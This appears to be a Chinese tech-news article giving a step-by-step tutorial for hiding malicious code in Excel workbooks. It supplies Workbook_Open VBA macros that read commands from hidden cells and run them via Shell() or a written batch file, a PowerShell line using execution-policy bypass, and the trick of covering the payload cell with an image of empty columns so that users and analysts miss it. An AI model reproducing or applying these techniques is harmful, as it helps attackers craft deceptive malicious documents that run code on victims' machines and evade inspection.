当前位置: 首页 > 科技观察

如何更好地隐藏Excel中的恶意宏代码

时间:2023-03-21 12:13:02 科技观察

您可能会问,为什么不直接使用实际上不接触工作簿的代码,主要原因是为了避免网络流量。当然,您可以简单地添加宏,将每一行代码添加到一个新文件中,以避免网络流量,但这样做会使任何分析文档的人都明显看到该活动,并且他们将在查看新的代码行宏查看时立即。使用这种方法,它会使恶意文档的分析稍微困难一些,但肯定不会多。注意:在文档上运行oledump或olevba等工具将仅返回宏。此时您可以看到宏正在从特定列中提取代码并使用Shell()执行它,但代码显然非常可疑:另外,如果我们导航到代码所在的BG1,我们不会立即看到任何可疑的东西:但是,如果你将鼠标悬停在BG1上(或靠近一点并注意到未对齐的列),那么你会看到一个图像覆盖在代码之上:显然,更有耐心的人可以改进截图空列并将其覆盖在代码之上以使其不那么引人注意。显示从工作表中提取的代码的另一种方法是使用MsgBox:1.一组空列的屏幕截图覆盖在代码之上,例如:2.从工作簿中提取代码并运行的宏data:PrivateSubWorkbook_Open()Data=Sheet1.Range("BG1")Shell(Data)EndSubData=Sheet1.Range("BG1")仅查看位于BG1中的行,提取该行中的所有内容并将其放入变量数据中.3.打开文档和用户点击“启用内容”后将被抓取并执行的代码。powershell.exe-execbypass-Cecho"Helloworld">C:\Users\Desktop\Conduct\Desktop\test.txt将代码插入任意一栏后,只需在代码上方插入空栏的图片即可(Insert>Illustration>图片)。然后将宏插入ThisWorkbook并更改Range()部分以匹配您的列。因此,如果您将数据插入A列并且它位于第一行,则它是Range("A1")。将多行写入一个文件将多行写入一个文件是小菜一碟,只需要添加几行代码。使用的宏代码如下:PrivateSubWorkbook_Open()1.DimPathAsString2.DimFileNumberAsInteger3.FileNumber=FreeFile4.Data=Sheet1.Range("BG1")5.Data2=Sheet1.Range("BG2")6.Path="test.bat"7.OpenPathForOutputAsFileNumber8.Print#FileNumber,Data9.Print#FileNumber,Data210.CloseFileNumber11.Shell(Path)EndSub第1-3行是静态的,保持原样,它们只是定义使用的变量。第4-6行是动态的。您需要将4和5中的字符串更改为代码基于Excel工作表的位置。将第6行更改为所需的文件路径。第7-9行也是动态的,它们只是打开文件并将提取的数据写入文件。特别是第8行和第9行是负责将数据写入文件的行。只需将将写入文件的代码插入工作簿,记下文件所在的列和行,然后更改Data和Data1变量以匹配您的列和行(如果需要,添加更多变量)。然后,用空行的屏幕截图覆盖工作簿中的代码,就可以了!